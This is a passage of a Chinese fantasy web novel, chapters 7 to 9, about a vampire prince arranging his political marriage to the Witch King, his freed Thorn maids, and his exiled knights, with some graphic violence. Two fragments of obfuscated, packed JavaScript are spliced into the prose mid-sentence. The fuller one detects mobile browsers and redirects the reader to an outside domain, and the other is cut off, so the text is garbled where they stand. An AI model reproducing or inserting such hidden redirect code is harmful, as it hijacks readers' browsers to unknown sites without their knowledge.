破风声响起，一道流光刺破狂风，黑铁打造的箭矢弧形落地，前端凿裂岩石，凶狠地楔入地层。 箭头没入石缝，箭身与地面呈斜角，箭尾震颤摇晃，发出独特的声响。 狼群受到震慑，却没有就此离开，仍然在不远处徘徊。 狼王登上一块巨石，猩红的双眼锁定前方，呲出锋利的獠牙，仰头发出嚎叫。 叫声持续拔高，狼群纷纷响应。 声浪刮过裸露的地表，环状波纹凭空出现，迅速向外扩张，边缘撞击雪堆，逼出藏在雪后的身影。 两名黑骑士。 身材高大，肩宽腿长。两条胳膊粗壮有力，大手掌心、虎口和指腹布满茧子。 他们穿着狼皮制的靴子，斗篷由灰鼠皮拼接而成。宽大的兜帽盖住半张脸，只露出刚毅的下巴，下巴上冒出一圈青色胡茬。 目标出现，狼群的叫声愈发尖利。 凶兽们呲出獠牙，因饥饿双眼猩红，嘴角滑落恶臭的涎液。 它们竖起耳朵，捕捉到新鲜的血液在血管内流淌。 新鲜的血肉诱惑着它们，明知道危险，它们仍不惜一试，妄图捕获对面强壮的骑士。 “冬天的狼群。”一名骑士掀起兜帽，拇指扣住帽檐，棕色的卷发滑出，发下是同色的眼睛。 另一人举起长弓，又一次拉满弓弦。 一支铁箭搭上弓身，他只有一只眼睛，仍不妨碍高超的箭术。 他瞄准了数十米外的狼王。 严寒的冬季，可怕的暴风雪，贫瘠的山脉，任何食物都是弥足珍贵。 狼群如此，骑士们亦然， 嗷呜—— 狼王仰起头，抢先下达攻击的命令。 狼群化作疾风，锋利的爪子踏碎岩石，猛扑向前方的猎物。 它们多日不曾进食，腹部干瘪。在奔跑时，脊骨的形状清晰可见。 饥饿使它们无比凶恶，只有杀死对面的猎物，吞噬入腹，它们才有迎接春天的机会。 一匹狼速度最快，聚集接近后猛然跃起，腥风扑向左侧的骑士，锋利的獠牙对准骑士的喉咙。 另有三匹狼从不同方向进攻，它们更加狡猾，意图将两人分开，从背后袭击他们。 骑士们抓紧射空箭匣，准头相当不错，几匹狼应声倒地。 在恶狼扑上来时，两人同时拔剑，背靠背站立。 寒光横向扫过，呜咽声中血色飞溅，偷袭的狼被拦腰斩断。 它们的皮毛撕裂，骨头断开，前爪以诡异的角度弯曲。落地之前，内脏先一步从伤口飞出，滚落在积雪之中。 战斗从最开始就进入白热化。 生存的竞争，与死亡拉锯。 狼群和骑士皆拼尽全力，没有一丝一毫后退的余地。 嗷呜—— 嚎叫声再次响起。 狼王跳下岩石，加入对猎物的围捕。 狼群孤注一掷，进攻愈发猛烈。 两名骑士配合默契，防守滴水不漏。可惜他们没有战马，战斗力难免打折扣，无法有效发起反击。 一匹狼咬住骑士的肩膀，只差一点就会撕开他的脖子。 骑士迅速侧身歪头，避开致命一击。斗篷下的铠甲很好地保护了他，狼牙磕碰铁片，留下深浅不一的凹痕，终究未能咬穿。 “萨雷！” “我没事！” 同伴担忧的声音传来，独眼骑士单手抓住狼口，左臂扼住狼的脖子，试图将它勒死。 更多恶狼冲上来，妄图以数量扑灭两人。 千钧一发之际，破风声从四面八方袭来。 狼群猝不及防，顷刻被箭雨覆盖，根本无法闪躲。 雪地中冒出多道身影，厚重的积雪破开，埋伏的骑士陆续现身。 他们都穿着狼皮靴和灰鼠皮斗篷。由于缝纫技术一般，皮毛颜色驳杂，和美观一点也不搭边。 为行动方便，斗篷下摆被骑士们束在腰间，用皮绳牢牢扎紧，显得上身格外臃肿。 他们的武器多种多样，五花八门。无一例外，都被打磨得异常锋利。 “狼群在这里，杀死它们！” “我们的晚餐！” 骑士们埋伏数个小时，不仅要忍受寒冷，还任由狼群踩在身上。 现如今，猎物全部落入陷阱，终于到了收获时刻。 狼群感知到危机，不由得心生退意，奈何为时已晚。 骑士们与狼群多次遭遇，双方早已经不死不休。如今包围圈合拢，他们不会放过一头猎物，势必要一网打尽，斩草除根。 “动手！” 麦里和萨雷作为诱饵，成功完成任务。 见同伴们出现，两人抹去下巴上的血痕，奋力挥舞起长剑，里应外合，对狼群展开夹攻。 灰背狼一匹接一匹倒下，一朵朵红梅绽放，在雪地上烙印猩红。 狼王战斗到最后一刻。 它凶狠地朝骑士们呲牙，没有丝毫胆怯。即使全身浴血，腰侧和前腿伤痕累累，它仍不肯倒下。 四周全是同伴的尸体，它发出凄厉的嚎叫。 声浪掀起血雾，灰背狼的尸体接连浮起，陆续爆裂开，碎块砸向周围的骑士。 “不好，快散开！” 队长米诺大吼一声，骑士们迅速后撤。三人躲闪不及被狼尸砸中，瞬间飞出数米。 狼王趁机前冲，直扑向米诺。 疾风交错而过，米诺矮身挺起重剑，狼王正面撞上剑身，自头部中心分开，从头至尾被劈成两截，尸体砸向地面。 血红爆裂，狼王身死，怪象戛然而止。 碎裂的狼尸悉数坠落，鲜血瞬间凝固，碎块表面覆上一层血红色的冰晶。 “大丰收！” 骑士们大声欢呼，来不及擦去脸上的血，也无暇关注伤口，争相扑向战利品，各自抓起一块。锋利的尖牙刺破牙床，轻易穿透坚韧的狼皮，吸食残留的血，撕扯犹带着温度的狼肉。 嘎！ 刺耳的叫声突然传来，打断骑士们的进食。 众人停下动作，警惕地望向天空。兜帽挂在肩上，收窄的瞳孔锁定目标，一群漆黑的乌鸦。 “报丧鸟？” 米诺反手抹过下巴，狭长的双眸闪过异色。 乌鸦盘旋数周，其中一只脱离群体，径直飞向他。 金色的圆环箍住乌鸦双腿，鸟爪上抓着一封信，以特殊材料书写，卷成圆筒状，上面盖有蜡封。 距离米诺头顶半米，乌鸦松开利爪。 纸筒轻飘飘滑落，被米诺单手接住。 他认出蜡封上的图案，不由得瞳孔微缩。迫不及待地划开蜡封，解开绳子，展开信件浏览。 “队长，谁的信？” “上面写了什么？” 骑士们好奇不已，纷纷聚集过来。 米诺抓住信纸，手指用力，彰显他此刻的心情，紧张、激动、难以置信，终化成无上的喜悦。 “是殿下！” 他从信中抬起头，俊美的面孔扬起笑容。 信件在人群中传递，黑骑士们忘记了饥饿，争先恐后凑到信纸前，看清上面的内容，反应如出一辙。 “殿下出了黑塔？” “他在召集我们！” “雪域？” “要去北边？” “联姻，和巫灵？” 激动和兴奋之后，骑士们回归冷静，开始考虑现实问题。 米诺抬起手，打断众人的议论。 “信上说事情已定，殿下不日就要启程。”米诺收回信件，仔细卷起来藏进怀里，“我们现在要做的不是争论，而是马上收拾行李，用最快的速度赶去王城。无论如何，必须用最短的时间与殿下汇合。” 目光环视众人，米诺加重声音，每一句话都铿锵有力，带有誓言的禁锢：“东部也好，北部也罢，殿下需要我们，我们必将忠诚追随，守卫他，为他而战，直至生命终结！” 骑士们表情肃穆，瞳孔染上猩红。 他们双耳拉长，锋利的獠牙露出嘴角，长久的流放生涯并不能磨灭他们的意志，更不会使他们颓丧和消沉。 “为殿下！” 米诺一声令下，骑士们迅速返回山下。 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这些狼崽还很弱小，它们挤作一团朝乌鸦呲牙，发出凶狠的威慑。 乌鸦群盘旋在岩峰外，几只落地，歪着头看向它们。 在狼崽们濒临绝境时，粗噶的叫声响起，鸟群接到讯号，迅速振翅飞走，再未理会岩峰中的生命。 狼崽们逃过一劫，但不意味着它们能平安活下去。 恶劣的环境，恐怖的天灾，贪婪的掠食者，太多不确定因素。 失去族群庇护，它们只能在艰苦的环境中挣扎。 有幸活到成年，可以组建新的狼群；不幸在饥寒交迫中死亡，随狼群一同陨灭，消失在无边的群山之中。 这一切都与乌鸦们无关。 黑压压的鸟群完成任务，开始原路折返。 在它们的飞行路线上，频繁能见到冻僵的尸体，既有猛禽，也有死不瞑目的骑士。 他们奉命追踪这群鸟，打着拦截的主意。 很可惜，无一成功。 他们沦为雪中亡魂，全部被死亡吞噬，于寒风中堕入地狱。 傍晚时分，山脉中又起毒雾，张牙舞爪扑向山脚下的木屋。 和以往不同的是，木屋不再门窗紧闭，门窗全部大敞，任由雾气侵入室内。 屋子的主人已经离开，他们打着火把走进山中，决心翻越陡峭的绝壁，入侵山峰另一面的军营，为自己补充一批物资，再踏上奔赴王城之旅。 入夜，乌鸦们停止赶路，栖息在一片广袤的森林中。 森林拱卫之下，荒野中心簇起光亮，似点点星辉坠落大地，炫耀古老的血族王城。 今夜的王宫灯火辉煌，戈罗德又在举办宴会，邀请贵族们纵情享乐。 黑塔则静悄悄，无声矗立在夜色下。 塔楼中部，装饰奢华的房间内，岑青伏案，正在奋笔疾书。 水晶笔杆握在手中，他尝试寻找灵感，落下几行字却不满意，抓起来揉成一团，直接丢在一旁。 “真是太难了！” 他转动笔杆，偶尔咬住笔头，很显然被难住。 难住他的不是任何严肃的内容，而是情话，一封预设对象的情书。 “巫灵喜欢什么？” 岑青自言自语，并无答案。 他喜欢未雨绸缪。 为让自己的日子更舒适些，也为计划顺利，他需要向雪域之主示好。 鉴于两人未来的身份，一封情书会是不错的开始。 敲门声传来，茉莉推开房门走入，身后跟着几名地精。 “殿下，镜子摆在哪里？” 女仆和地精不是空手而来。 在茉莉的指挥下，地精抬来两面等身高的镜子，镜面光滑，镜框镶嵌玳瑁，制作工艺十分特殊，王城中难得一见。 而茉莉一次就搬来两面。 “放在墙边。”岑青丢开笔，对女仆说道。 茉莉指挥地精移动位置，确保不差一丝一毫。 镜子摆设完毕，地精行礼后离开房间。 茉莉合拢房门，转过身，就见岑青揽镜自照，貌似在练习微笑的弧度。 “殿下？”女仆满心疑惑，面露不解。 岑青示意女仆走近，用手指压住她的嘴角，向上提了一个弧度：“茉莉，你认为暴君的标配是什么？” 这个问题有些没头没尾。 茉莉思考半晌，试探回答：“权力，财富，军队？” “是，但不完全。”岑青收回手，掌心覆上镜面，笑容愈发完美，却一丝不达眼底，“暴君，理应有一名妖妃。” 暴君，妖妃。 明白岑青话中所指，茉莉瞪大双眼，不禁愕然当场。 7.第七章 岑青的发言非同小可，女仆茉莉大受震撼。 离开房间时，她目光呆滞，脚步虚浮。回音在脑海中冲撞，粉碎她的冷静，随时能引爆她的情绪。 暗影在她脚下拉长，锋利的指甲擦过墙面，灯龛中的焰光疯狂跳跃，一夕间爆裂，万千火星飞溅。 怒火在心中狂燃，荆棘女仆眼眸猩红，充斥对戈罗德的杀意。 “该死的戈罗德！” 如果不是戈罗德，殿下根本不必考虑这些！ 他无需殚精竭虑，本该拥有一切！ 荆棘女仆穿过走廊，汹涌的杀机弥漫开来，直指灯火通明的王宫。 黑塔外荆棘疯长，在夜色中扭结盘绕。刺耳的摩擦声持续不断，与风声融合，堪比恶龙咆哮，引发生灵内心最深处的恐惧。 黑塔内，地精们瑟缩成一团，拥挤在角落抖个不停。 “她在发怒。” “是谁惹到了她？” “老天！” 整整一夜，地精们在惊慌中度过，都是彻夜未眠。 翌日，可怕的气息终于消散，塔外荆棘归于平静。 女仆茉莉走出黑塔，身后跟随数名地精。 由于没睡好，地精脸上都挂着黑眼圈，精神萎靡，活似失去水分的仙人掌。 茉莉携带岑青签发的命令，前往驼背人看守的地牢，释放关押在牢中的荆棘女仆。 她们获罪入狱，迄今超过百年。 戈罗德宣称她们有罪，长期囚禁她们，还曾命人拷打她们，却始终无法让她们低头。 现如今，作为与岑青交换的条件，国王不得不释放这些女仆，允许她们走出牢房。 地牢建在王宫地下，在戈罗德掌权后启用。 上层是纸醉金迷，宴饮通宵达旦；下层血腥弥漫，充斥怨恨和诅咒，怪异又讽刺。 地牢入口狭窄，走廊曲折幽深。 火光照亮脚下，映出爬满青苔的墙壁。 石墙上痕迹斑驳，大多是囚徒残留的血。扭曲的暗影拖曳过墙面，顶端触碰屋顶，似恶灵张牙舞爪，诡异、阴森、狰狞。 钥匙和锁头的摩擦声响起，地精们熟练地开启牢门，释放关押在里面的犯人。 她们之所以关在这里，全因一场对戈罗德的刺杀。 众目睽睽之下，她们意图杀死国王。 可惜没能成功。 关押在地牢中，她们并不后悔。 如果再给她们一次机会，她们仍会这样做。只是行动会更加谨慎，绝不会让自己失手。 “出来吧，王子殿下需要你们。” 茉莉双手交叠站在火光下，看向走出来的十人。 长期的监牢生活使她们蓬头垢面，乱糟糟的头发像是干草，身上的衣服破破烂烂，早失去原本的颜色。 “离开这里，你们有时间整理自己。身为荆棘女仆，时刻要注意仪表，这副模样可不行。” 女仆们抬起手臂遮在头前，像是禁不住火光刺激，不约而同眯起双眼。 重新走入光明，她们感到不习惯，需要时间适应。 然而，这个时间不会太长。 终于，一个沙哑的声音响起：“为什么？” “殿下用自己与戈罗德做出交换，要求他赦免你们，让你们重获自由。”茉莉声音微沉，压抑感在牢房中凝聚。 “交换？” “血族向雪域派遣使者，有意签订盟约。殿下即将远行，与巫灵王缔结婚姻。” 闻言，女仆们的表情发生变化。 她们失去自由，却没丢掉脑子，都很清楚这意味着什么。 失去权利，沦为禁脔，成为一枚弃子。 “戈罗德，他该死！” 嘶哑的诅咒穿过走廊，似毒蛇吐信，充斥对戈罗德的憎恨和杀意，比以往更加强烈。 “事情可以从长计议。现在，你们需要马上离开这里。” 说完这番话，茉莉率先转身离开。 关押女仆的牢房建在地下百米，内部构造极为复杂。想要走出监牢，必须穿过数条狭窄的走廊。 走廊曲折狭窄，地板呈回字形向上。 墙壁和棚顶爬满青苔，苔藓呈暗绿色，每隔数个小时就会分泌出透明的液体，无色无味，蕴含致幻毒素，带给囚徒们最恐怖的噩梦，最穷凶极恶的匪徒也谈之色变。 走廊内设有多道闸门，每一道都由驼背人看守。 他们身材矮小，四肢格外粗壮。脊椎骨弧形隆起，像蜗牛的壳。 由于常年生活在地下，他们视力退化，听觉和嗅觉变得格外灵敏。守护在闸门后，能分辨出灰尘飞舞的轻音，连隐形人也无法逃脱他们的耳朵。 地精提着煤油灯，高举着火把，变形的影子拖拽在墙上，一路滑行向上。 女仆们踏着火光前行，穿过一道又一道闸门。 茉莉持有岑青的命令，驼背人不敢阻拦。 清点过囚徒数量，和羊皮卷上核对无误，他们让开道路，有力的手臂拖拽锁链，拉起厚重的栅栏。 吱嘎声中，黑色栅栏向上升起。 驼背人站在闸门后，稀疏的头发遮不住头顶，外凸的眼球肆意转动，紧盯着走出监牢的女仆。鼻孔翕张，表情阴惻恻，粗糙的舌头舔舐嘴唇，既猥亵又令人厌恶。 刷！ 一道疾风袭来，驼背人迅速向后躲闪，仍被划伤眼角，切掉半只耳朵。 只差半寸，他就会失去一只眼球。 地精得意地朝他咧开嘴，一双招风耳，满口锋利的尖牙，煤油灯提高至头前，声音粗噶沙哑：“留意些，小心你的脑袋。” 驼背人向对方举起拳头，没等到挥出，又一道疾风刮来，迫使他踉跄后退，背部紧贴上墙壁。 一簇苔藓突然疯长。 浅灰色的荆棘自苔藓中冒出，以惊人的速度拉长，垂挂在驼背人身后。 他反应不及，整个人被荆棘卷起，倒悬在闸门一侧。 “放开我！” 驼背人奋力挣扎，荆棘却越缠越紧。 荆条表面出现吸盘，章鱼触手一般牢牢吸附住他的身体。吸盘中冒出尖刺，刺穿他的皮肤，注入毒素。 这些毒素并不致命，不会令他死在当场。 不幸的是毒素会引发剧痛，折磨他数个小时，让他生不如死。 “我警告过你的，出于难得的好心。”地精走到驼背人身前，手指戳了戳对方的头顶，恶劣地划开他的头皮。 驼背人怒不可遏。 他试图张口反击，却发不出丁点声音。 最终，只能眼睁睁看着一行人走远，先是地精，然后是茉莉，再之后是衣衫破烂满身尘灰的女仆。几人的发上还挂着蜘蛛网，整个人显得灰扑扑，看不出半点昔日的风采。 脚步声逐渐远去，伴随着闸门升起落下的声响，快速消失在驼背人耳畔。 他用力睁大双眼，视线却变得模糊。 痛苦逐渐升级，他的眼球开始充血，呼吸变得急促，窒息感不期而至，一种濒临死亡的恐惧笼罩全身。 他拼命告诉自己是错觉，他不会死，只要坚持几个小时就能解脱。 然而求生的本能压过理智。 恐惧感突破界限，驼背人陷入恐慌。 他奋力扭动身体，意图挣脱荆棘。无奈用尽全身力气，荆棘也只是轻微晃动。几经折腾，不过是空耗体力。 到头来，加速精神和身体的损耗，晕眩感袭来，他终于昏死过去。 相同的情形发生在不同的闸门后。 驼背人愚蠢且好色，不自量力的结果，注定他们有此一劫。 地牢的出口位于金岩堡西侧，正面高高矗立的黑塔。 一行人走出牢门，天空正在飘雪。 寒风卷着雪花横扫城内，带来无尽的冷意，能冰封世间万物。 茉莉回望一眼城堡，视线晦暗不明。 “我们要快一些。”她说道。 女仆们毫无异议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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茉莉继续登上台阶，准备去向岑青复命。 经过窗前时，她敏锐捕捉到异常。 荆棘女仆停下脚步，侧头看向窗外，眼前闪过数道黑影，看样子来势汹汹。 “血枭。”茉莉眯起双眼。 她认识这些鸟。 王后驯养的宠物，看似凶猛实则无用，压根无法入侵黑塔，只能在塔外盘旋。距离靠得太近，还会沦为荆棘的养料。 正这样想着，耳边就传来惨叫。 很显然，有血枭落入陷阱。 “没用的家伙。”茉莉轻嗤一声，很快越过窗户抵达走廊尽头，抬手敲响紧闭的房门。 “进来。” 声音自门内传出，房门自行敞开。 茉莉迈步走进房间，抬眼望去，没有在床上找到岑青。她的视线旁移，捕捉到坐在桌前的身影。 望见半开的窗户，她快步上前关严，回身后向岑青弯腰：“遵照您的命令，接回全部荆棘女仆，安顿在塔内。” “她们还好吗？”岑青从桌上抬起头，水晶笔握在手中，脚下堆着五六个纸团，摆在面前信纸上空空如也，只有一个尊敬的称呼，此外没有半个字。 “不太好。”茉莉叹息一声。 关押在黑暗中百年，日夜遭受幻觉和噩梦侵扰，身体不提，精神尤其受到摧残。 承受力稍差一些，早就陷入疯狂。 更糟糕一些，沉入死亡的怀抱。 荆棘女仆足够坚韧，她们咬牙熬过苦难，经受的折磨仍难以磨灭，终究会留下痕迹。她们的身体和精神状态都很糟糕，需要一段时间才能彻底恢复。 奈何，岑青最缺的就是时间。 岑青放下笔，斟酌片刻，对茉莉说道：“三天后，你带她们去王宫，清点母亲留下的珠宝。我想它们中的大部分已经易主，对照名录，尽可能全部找回来。” “如果遭遇阻拦，我们可否动手？”茉莉试探问道。 “当然可以。”岑青指间转动笔杆，语气透出关心，“让她们恢复精神，发泄怒火是最快的办法。至于别的，用不着担心，我不会再让你们出事。” 茉莉愣了一下，心中涌出一股暖流。 她再次弯腰，恭敬说道：“一切将如您所愿。” 8.第八章 取回珠宝势必要经历一番波折，至少王后左娜就不会心甘情愿归还。 对此，茉莉早有准备。 有同族相助，她有信心完成这次使命，把属于殷王后的宝石全部夺回来，就如那几枚龙血石一样。 话题结束，岑青再次提起笔，笔尖停留在纸上，许久没写下半个字。 万事开头难。 以为很轻松的一件事却彻底难住了他。 陛下？ 亲爱的？ 还是别的？ 单是一个称呼就让他挠头。 茉莉好奇地探过头，谨慎问道：“殿下，您是遇见难题？能否告诉我，或许我可以帮忙。” “我在写情书。”岑青直言不讳，没有丝毫隐瞒的意图，“可惜不是我的强项，总觉得脑子里少些东西。” 换成上辈子，他能轻松完成一篇论文。 万万没想到几句情话就难住他，让他觉得无从下手。 “情书？”茉莉的声调陡然拔高，“您要写给谁？” “当然是雪域之主，那位巫灵王。”岑青奇怪地看她一眼，认为这个问题很多余。 他不停转动水晶笔杆，手指间彩光频闪，一如他此刻的心晴。 复杂、烦躁、无计可施。 “他是我的婚约者，我未来的丈夫。无论从哪个方面，和他关系融洽都很必要。” 情书。 巫灵王。 处好关系。 茉莉的表情有片刻空白。 必须承认，王子殿下的考虑很切合实际。 “据我所知，巫灵王凶狠残暴，是一名不折不扣的暴君。他曾一怒之下引发暴风雪，覆灭上万堕落树人。还曾引发地裂和雪崩，令蛮荒兽人和长毛人的联军铩羽而归。我很赞成您的未雨绸缪，但希望您能够谨慎行事。”茉莉严肃说道。 “我很认真，也很谨慎。”岑青停下动作，单手握住笔杆，“我注定与我的父亲为敌，还有众多贵族。未来的路很重要，我不会容许自己行差踏错。” “但是……” “设想一下，一个仰慕他，只能依靠他，渴望他宠幸的婚约对象，还是一个不情不愿被强送来的贡品，哪一个存活的机会更大？”岑青身体前倾，单手撑着下巴，侧头看向茉莉，“我之前说过的话绝不是在开玩笑。” 之前的话…… 妖妃？ 茉莉张张嘴，半晌才道：“您是对的。” “所以，我忠心的茉莉，我需要一些甜言蜜语，用来打动我未来的丈夫。”岑青朝茉莉眨了眨眼，璨笑说道。 茉莉沉思片刻，突然间想起什么，道：“我有您母亲留下的日记，还有一些信件，或许能帮到您。” “我母亲的日记和信件？” “日记是您母亲的战斗经历，信件来自多名王室成员和贵族，表达对您母亲的爱慕。”茉莉的神情透出怀念，“您的母亲殷王后，她不仅血统高贵，能力卓越，美貌更是极富盛名。她的追求者众多，好比过江之鲫，只可惜……” 女仆的声音忽然顿住。 她目光阴鸷，神情变得晦暗。显而易见，她想到了戈罗德。 卑鄙无耻之徒，利用花言巧语和完美的伪装摘下王国最美的一朵玫瑰，却狠心将其折断，徒留遍地残红。 “算了，不说这些糟心事。”茉莉用力晃动脑袋，双手拍打脸颊，自行振作起精神，“如果您需要，我现在就去取来。” 岑青没有深究，颔首道：“是的，我需要。” “请您稍等。”茉莉转身离开，脚步匆匆走出房间。不到片刻折返，手中提着一只精美的箱子。 箱体四角包裹金箔，箱盖雕刻蔷薇花，一朵朵绚烂绽放。花瓣边缘有些褪色，锁头爬上锈斑，明显有了岁月。 箱盖打开，里面有保存完好的日记，封皮是坚硬的兽皮，来自殷王后猎杀的野兽。书页有些泛黄，翻阅时需要加倍小心。 日记下压着大捆信件，绝大部分来自殷王后的追求者，既有王国内的贵族，也有王国之外。 岑青解开绳结，看到仍能拼合的蜡封，向母亲说了一声抱歉，逐一展开阅读。 这对他很有帮助。 一封增长见识，两封大开眼界，三封茅塞顿开，四封已是文思泉涌。 他继续展开信件，从头至尾浏览，一目十行。 读完十封信，他终于有了信心。 当下铺开信纸，拿起笔，一句句情话流出笔尖，辞藻华丽，字字句句富含情感。 这封信送出，能清楚表达他的仰慕。至于巫灵王会否被打动，岑青明白事情不会太容易。 这毕竟不是童话故事。 无论如何，只要给对方留下印象，状况就不算太坏，至少不会比目前更加糟糕。 黑塔中，血族王子确定目标，开始奋笔疾书，以惊人的热情投入情话大业。 王宫内，戈罗德难得保持头脑清醒。 他罕见地停止宴会，主动召集群臣完善盟约，为派遣使团做最后准备。受到召唤的贵族陆续抵达王宫，其中就有扎克斯，最初倡导联姻的外交大臣。 与会人员全部抵达，大厅门关闭，偶尔流出些许人声，因穿过走廊的风变得模糊，很难捕捉到半个字词。 王后寝宫中，此刻却安静得诡异。 女官们遭到冷落，沉默地退出房间。侍从也被驱逐，只能忐忑地站在走廊内。 左娜赶走所有人，独自在壁炉前来回踱步。 缝有琥珀和珍珠的裙摆拖拽在地，裙边擦过地毯，发出细微的声响，恰似她此刻的情绪，心乱如麻，坐立难安。 她不时望向窗口，更是推开窗户，没有一只血枭归来。 最大的可能就是遭遇不测。 “没用的废物。” “他怎么敢，怎么敢！” 回忆数日前的屈辱，想起被抓下金冠那一刻的错愕以及随之而来的羞愤，左娜咬牙切齿，不禁火冒三丈。 国王还命令她交出所有拿走的宝石。 “那不属于你，左娜。” 戈罗德说得轻巧，态度漫不经心。 左娜愤怒不已，却没胆量当面驳斥。 她清楚自己毫无办法。 戈罗德需要岑青联姻，作为送给雪域之主的贡品。无论他的未来如何，在离开王城之前他必须活着。 戈罗德会在一定程度上容忍他，这就是他的依仗。 岑青借机要回母亲的珠宝，于情于理，左娜没有拒绝的余地。 她甚至不能杀死他一劳永逸。 “该死的！”左娜用力抓着头发，尖牙冒出牙床，用最恶毒的词汇大声诅咒。 可惜，一切都是徒劳。 她注定会失去这些宝石。 得到又失去的愤恨折磨着她，令她烦躁焦灼，只能不停在室内徘徊，仿佛永无止歇的钟摆。 王后的愤怒无从发泄，丝毫影响不到国王。 议事结束，戈罗德突然想起一件事，他召来技艺最精湛的宫廷画师，要求他们前去给岑青画像。 “我的儿子需要一幅肖像。” 根据血族传统，家族成员每十年就会留下一幅肖像，王室也不例外。 岑青显然没有。 他年幼就被封闭在黑塔，成长痕迹被刻意抹除，始作俑者就是他的父亲。 最为讽刺的是，国王的私生子都能在王宫随意出入，留下属于自己的痕迹，岑青身为戈罗德的第一个孩子，王位的第一继承人，竟没有一幅画像陈列在墙壁上，包括他降生时的画像都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907219|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国王下令移除。 而今，国王却要大费周章，像是妆点一件礼物，只为让雪域之主满意。 “你们一起去，记住，把我的儿子画得漂亮一些。”戈罗德靠在椅子上，言辞轻佻，让人很不舒服。 岑青的容貌并不像他，更像他的母亲。 可毋庸置疑，他是漂亮的。 黑色头发，黑色眼睛，更是高贵血统的象征。 “去吧，别让我失望。” “遵命，陛下。”画师们背起画板，带上作画所需的各色颜料，踏着沉重的步子离开城堡，走向神秘的黑塔。 想起关于黑塔的阴暗传闻，想到那个奄奄一息的侍从和重伤的骑士，他们不由自主打着哆嗦，心不断下沉。 奈何王命难违，只能寄希望于王子殿下心情好，自己毕生的好运都在此刻应验。 与此同时，遥远的王国北部边境，一支乱军在暴雪中发起偷袭。 堕落树人撞倒大片石墙，从缺口蜂拥而入，与坞堡守军展开激烈厮杀。 火光冲天，破风声持续传来，惨叫声接连不断。 殷红染遍大地，血光放射状喷溅。 交战双方频繁从墙头摔落，惨叫之后悉数毙命，尸体在寒风中冻结。 堕落树人变化出本体，搬起大块岩石砸向墙后的守军。流浪血族藏在树冠中，一次次开弓射箭，对目标展开精准射杀。 黑暗兽人助跑后越过围墙，挥舞着粗糙笨重的兵器，一次能砸倒两到三名守军，展开一面倒的屠杀。 数道暗影从天而降，他们抓起地上的守军，飞至高空后松手，任由其摔向地面。 “蛮荒羽人！” “快放箭！” 地面和天空同时遭遇袭击，守军左支右绌，疲于奔命，瞬间陷入大乱。 战场不远处，一片孤立的悬崖上，几匹银白色的座狼在雪中现身。 座狼身形巨大，宽阔的胸脯佩戴铠甲，前脚掌凸起钢爪。幽绿的双眼阴森可怖，獠牙尖锐，闪烁慑人的寒光。 抵达悬崖边，狼首陆续低垂，现出狼背上的身影。 高挑的身形，修长的脖颈，精致的下颌线条，皮肤白得近乎透明。几人都披着斗篷，斗篷上有独特的花纹，样式独一无二，清晰彰显出他们的种族。 他们是巫灵，雪域最强的种族。天性残暴，令四方王国闻风丧胆。 “乱军在壮大，越来越强势。” “蛮荒部落有意趁火打劫。” “需要禀报陛下。” “血族，真是一群没用的家伙。” 几人说话时，风中传来号角声，大批血族援军出现，一头扎入战场。 他们现身的时机十分巧妙，犹如神兵天降，令乱军措手不及，迅速扭转战场局势。 “看样子，他们也不是真正没用。”一名巫灵说道。 “不能任由乱军继续壮大。血族提出的结盟，应该考虑一下。”另一人开口。 “听说血族会送来一名王子，他有古老的母系血脉，应该是个美人。” “提到赏心悦目，谁能比得上陛下？他可以自己照镜子。” “……你说得对。” 见他们偏离话题，越说越不着调，一名最年长的巫灵出声提醒：“虽然这里不是暴风城，你们也最好小心点。” “明白。” 年轻的巫灵十分听劝，手指在嘴唇前划过，没有再多说一个字。 这场战斗已经没有悬念，巫灵们不打算久留，冰冷的手拍了拍座狼，纷纷调头折返。 边境的厮杀仍在继续，悬崖上的座狼已经离开。 它们奔驰在林间，身形迅如疾风。 冲出森林后，狼群一路穿过雪原，眨眼间化作数道流光，彻底不见踪影。 9.第九章 王国边境的战斗持续整夜。 黎明时分，暴雪初停，冷风刮过荒原，冻结遍地残雪。 殷红在大地绽放，破碎的尸体互相堆叠，看不出本来面目。断裂的武器和铠甲横七竖八散落，战场中满目疮痍，充斥血腥苍凉。 几名骑士穿梭在战场中，身上是银色的锁子甲，胸前和背部有撕裂的痕迹，来自昨夜袭击的黑暗兽人。 他们没有佩戴头盔，披风和护臂也不知去向。 穿行在身体之间，染血的靴子踩碎冻结的雪块，吱嘎作响。 时间飞速流逝，接近正午，天空中依旧昏黄。 浓密的灰云久久不散，看不到太阳的影子。只有风刮过耳畔，掀飞断裂的树枝和旗杆，呜咽声持续不断。 前方的山脊闪现黑影，刺耳的嚎叫声紧随而至。 “是狼群。” “还有食腐鸟。” 骑士们停下脚步，其中一人抱起成捆的长剑，用力一甩扛上肩膀。 他身量极高，肩背宽阔，胸膛尤其厚实。两条胳膊粗壮有力，上臂隆起岩石般的肌肉，即便是在严冬也只穿着短袖上衣，仿佛感觉不到寒冷。 他身后跟随三四个年轻人，他们很幸运，在乱军袭击后活了下来。 其中两人出身贵族，初至边境时意气风发，总是高昂起下巴，像骄傲的斗鸡。 经历过几场血腥战斗，骄矜自大消失无踪，他们终于学会现实的残酷，傲慢彻底被碾碎。 他们的护卫死亡殆尽，不得不拿起武器保护自己。 要么杀死敌人，要么被乱军杀死。 他们在战火中蜕变，杀戮是最好的课程。血与火使他们摆脱天真，逐渐成为合格的战士。 骑士们停在原地，开始侧耳细听。 狼嚎声此起彼伏，在风中扩散，迅速向发生过战斗的坞堡靠近。 “几十，不，至少有上百头狼。”凡纳拎起一把短剑，剑身很薄，边缘出现豁口。所幸没有太大的裂纹，有修补的价值。 